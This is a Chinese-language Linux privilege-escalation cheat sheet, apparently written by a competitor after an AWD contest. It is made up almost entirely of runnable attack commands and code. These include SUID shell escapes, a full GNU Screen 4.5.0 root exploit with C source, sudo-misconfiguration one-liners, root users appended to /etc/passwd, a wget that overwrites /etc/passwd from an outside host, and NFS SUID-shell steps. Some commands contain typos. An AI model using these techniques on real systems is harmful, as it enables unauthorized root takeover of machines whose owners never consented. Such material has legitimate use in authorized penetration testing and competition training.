LINUX提权
前言
上一次打AWD被锁权限了,估计是被打烂了然后对方提的权,这启发了我,我也来提提权限
以下内容都是来自下面的文章https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247484463&idx=1&sn=f1fd9b1db84657ecda05b186a8f7785f&chksm=9b39229eac4eab884bb8e8130423d895afc7b1ff336d6146a425b7087aa0faf9e0c806e09706&mpshare=1&scene=23&srcid=0410kOxtw1DLpOurcUy9co8Q&sharer_sharetime=1681100889288&sharer_shareid=5d46a70d7c2e5fe23fd7f12f781a2ad4#rd
suid提权
1
| https://github.com/rebootuser/LinEnum #检测环境
|
1 2 3 4 5
| ls -al xxx #查看权限 root@linux:# ls -al /bin/ping -rwsr-xr-x #-rwsr-xr-x,其中有个s位,这就是suid,有s位在运行命令是就是root权限 chmod u+s filename 设置SUID位 chmod u-s filename 去掉SUID设置
|
1 2 3 4
| 列出该用户具有访问权限的SUID可执行文件 find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null //常用 find / -user root -perm -4000 -exec ls -ldb {} ;
|
1 2 3 4
| suid之find touch 666 find ./ -name 666 -exec "whoami" \; find / -name 666 -exec "/bin/sh" \;
|
1 2 3 4
| suid之vim/vi vim /etc/aaa :set shell=/bin/sh #内容 :shell #退出时候的输入
|
1 2 3 4
| suid之nmap version:2.02-5.21 nmap -v //查看版本 nmap --interactive //进入交互模式 !sh #输入
|
1 2 3
| suid之less/more less /etc/passwd !bin/sh #直接输入然后回车
|
1 2 3 4
| 不能反弹sehll的一些语言或命令 python -c "importos;os.system('/bin/bash') #python/perl/ruby/lua/php/etc exec "/bin/bash"; apache2 -f /etc/shadow
|
1 2 3
| suid之man man passwd !/bin/sh #输入后回车
|
1 2
| suid之awk awk 'BEGIN {system("/bin/sh")}'
|
1 2 3
| suid之nano nano /etc/passwd hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash #输入,保存,用户hacker密码为hack123
|
1 2
| suid之wget wget http://192.168.56.1:8080/passwd -O /etc/passwd #http://192.168.56.1:8080/passwd写入/etc/passwd,同上
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| suid之GNU Screen searchsploit screen 4.5.0 cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
下面存为libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!\n"); } EOF
#编译 gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c #完成后删除.c的文件 rm -f /tmp/libhax.c
下面存为rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF
#编译 gcc -o /tmp/rootshell /tmp/rootshell.c #删除 rm -f /tmp/rootshell.c
下面存入xxx.sh cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell 最后一行加上:set ff=unix #:set ff=unix命令将原本的dos格式换行符变为unix格式 最后退出 将三个文件上传到根目录的tmp文件中 chmod 777 xxx.sh ./xxx.sh
|
1 2 3 4 5 6 7 8 9
| suid之exim exim是一款在Unix系统上使用的邮件服务 exim --version #查看版本 searchsploit exim 4 Privilege searchsploit -m 46996.sh cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh vim 46996.sh 最后添加 :set ff=unix 在目标机下载运行
|
定时任务
1 2 3 4 5 6
| Cron通常以root特权运行 如果我们可以成功修改cron中的任何脚本或二进制文件就可以使用root权限执行任意代码 https://github.com/DominicBreuker/pspy 上传到目标机器使用工具监听 chmod +x pspy64s ./pspy64 将反弹shell或者添加root用户写入定时任务的文件中,也可把/etc/passwd设为所有人可写
|
1 2 3
| 列出计划任务 ls -l /etc/cron* cat /etc/crontab
|
sudo配置错误
1 2
| linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py 查找一些配置
|
1
| sudo -l //查找当前用户root权限的指令
|
1 2 3 4 5 6 7 8 9 10 11
| git 第一种: sudo git help config 回车然后输入 !/bin/bash (这里bash也可以换成sh) 回车即可退出
第二种: sudo git -p help 回车输入 !/bin/bash (这里bash也可以换成sh)
|
1 2 3 4 5 6
| tee
使用tee命令创建一个用户uid=0的 sudo teeh -a /etc/passwd demon::0:0:::/bin/bash su demoon
|
1 2 3 4 5 6
| 写入/etc/passwd文件提权
openssl passwd -1 -salt admin 111111 #-1 的意思是使用md5加密算法 -salt 自动插入一个随机数作为文件内容加密 输出admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1 echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaa 最后把/tmp/aaa写入/etc/passwd即可
|
1 2 3 4
| ftp
sudo ftp ! /bin/bash
|
1 2 3 4 5
| pip
TF=$(mktemp -d) echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py sudo pip install $TF
|
1 2 3 4 5
| apt
TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl
|
1 2 3
| zip
sudo zip hash.zip hash.txt -T --unzip-command="sh -c /bin/bash"
|
1 2 3
| taskset
sudo taskset 1 /bin/sh -p
|
1 2 3
| sed
sudo sed -n '1e exec sh 1>&0' /etc/passwd
|
1 2 3 4 5 6
| scp
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y:
|
1 2 3
| perl
sudo perl -e 'exec "/bin/bash";'
|
1 2 3 4
| less
sudo less /etc/hosts !bash
|
1 2 3
| awk
sudo awk 'BEGIN {system("/bin/bash")}'
|
1 2 3 4 5
| git
Sudo git -p help !/bin/bash 输入sudo密码(当前用户的密码)
|
内核漏洞
先用漏洞检测工具检测一下存在哪些漏洞
1 2 3 4 5
| https://github.com/mzet-/linux-exploit-suggester
将linux-exploit-suggester.sh下载到要检查的主机上,主要使用以下两条指令: chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh
|
然后用searchsploit 工具找对应的exp ,poc或者它给出的链接也可以
NFS提权
1 2 3 4 5 6 7
| sudo mkdir -p /tmp/data #用于挂载的目录 sudo showmount -e 10.1.1.233 #显示对方共享目录 /home/bypass sudo mount -t nfs 10.1.1.233:/home/bypass /tmp/data #将对方目录挂载到本地 cp /bin/bash /tmp/data/shell #上传 chmod u+s /tmp/data/shell #增加root执行权限 再到目标机器执行 ./shell
|